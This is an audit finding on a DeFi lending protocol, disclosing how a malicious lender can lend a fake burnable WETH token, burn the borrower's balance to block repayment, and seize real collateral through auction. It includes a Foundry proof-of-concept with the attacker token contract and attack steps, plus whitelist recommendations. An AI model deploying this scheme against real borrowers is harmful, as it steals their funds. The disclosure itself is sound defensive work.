Summary
When lender creates new pool, he can use arbitrary erc20 compliant token. By creating fake version of some known token like WETH, he can provide it to user for collateral of real WETH. After borrower provides collateral, attacker can seize it.
Vulnerability Details
Anyone can create pool with any token. This gives hackers an option to provide fake priceless tokens for real valuable tokens as collateral.
Malicious lender creates fake WETH. He is the owner and can burn and mint as he wishes.
This lender creates pool to lend fake WETH and accepts real WETH as collateral with low fees to lure in unsuspecting users.
User borrows this fake token and provides collateral.
Attacker burns borrower's tokens so he can't repay loan and starts auction. Nobody can buy the loan from him, because only he possesses this fake WETH.
Attacker can seize collateral after time for auction ends.
POC
I created a simplified version of this attack. It can be run in Lender.t.sol.
Run this test with this command:
forge test --match-contract LenderTest --match-test test_maliciousLenderStealsCollateral
contract MERC20 is ERC20 {
function name() public pure override returns (string memory) {
return "Malicious ERC20";
}
function symbol() public pure override returns (string memory) {
return "MERC20";
}
function mint(address _to, uint256 _amount) public {
_mint(_to, _amount);
}
function burn(address _from) public {
_burn(_from, balanceOf(_from));
}
}
function test_maliciousLenderStealsCollateral() public {
address attacker = address(0x5);
vm.startPrank(attacker);
MERC20 maliciousLoanToken = new MERC20();
maliciousLoanToken.mint(attacker, 1000*10**18);
maliciousLoanToken.approve(address(lender), 1000*10**18);
Pool memory p = Pool({
lender: attacker,
loanToken: address(maliciousLoanToken),
collateralToken: address(collateralToken),
minLoanSize: 100*10**18,
poolBalance: 1000*10**18,
maxLoanRatio: 2*10**18,
auctionLength: 1 days,
interestRate: 1000,
outstandingLoans: 0
});
bytes32 poolId = lender.setPool(p);
vm.stopPrank();
vm.startPrank(borrower);
Borrow memory b = Borrow({
poolId: poolId,
debt: 100*10**18,
collateral: 100*10**18
});
Borrow[] memory borrows = new Borrow[](1);
borrows[0] = b;
lender.borrow(borrows);
vm.stopPrank();
vm.startPrank(attacker);
maliciousLoanToken.burn(borrower);
uint256[] memory loanIds = new uint256[](1);
loanIds[0] = 0;
lender.startAuction(loanIds);
uint attackerCollateralTokenBefore = collateralToken.balanceOf(attacker);
vm.warp(block.timestamp + 2 days);
lender.seizeLoan(loanIds);
uint attackerCollateralTokenAfter = collateralToken.balanceOf(attacker);
uint fee = (lender.borrowerFee() * borrows[0].collateral) / 10000;
uint collateralSeized = borrows[0].collateral - fee;
assertEq(collateralSeized, attackerCollateralTokenAfter - attackerCollateralTokenBefore);
assertEq(maliciousLoanToken.balanceOf(borrower), 0);
vm.stopPrank();
}
Impact
The unsuspecting borrower gets his collateral stolen.
Tools Used
Manual review
Recommendations
Implement whitelist of allowed tokens for loaned tokens.
If you don't want to whitelist tokens, create functionality for borrower to be able to defend themselves. Some way to raise a dispute or make sure on the front end that they know that loaned token isn't okay.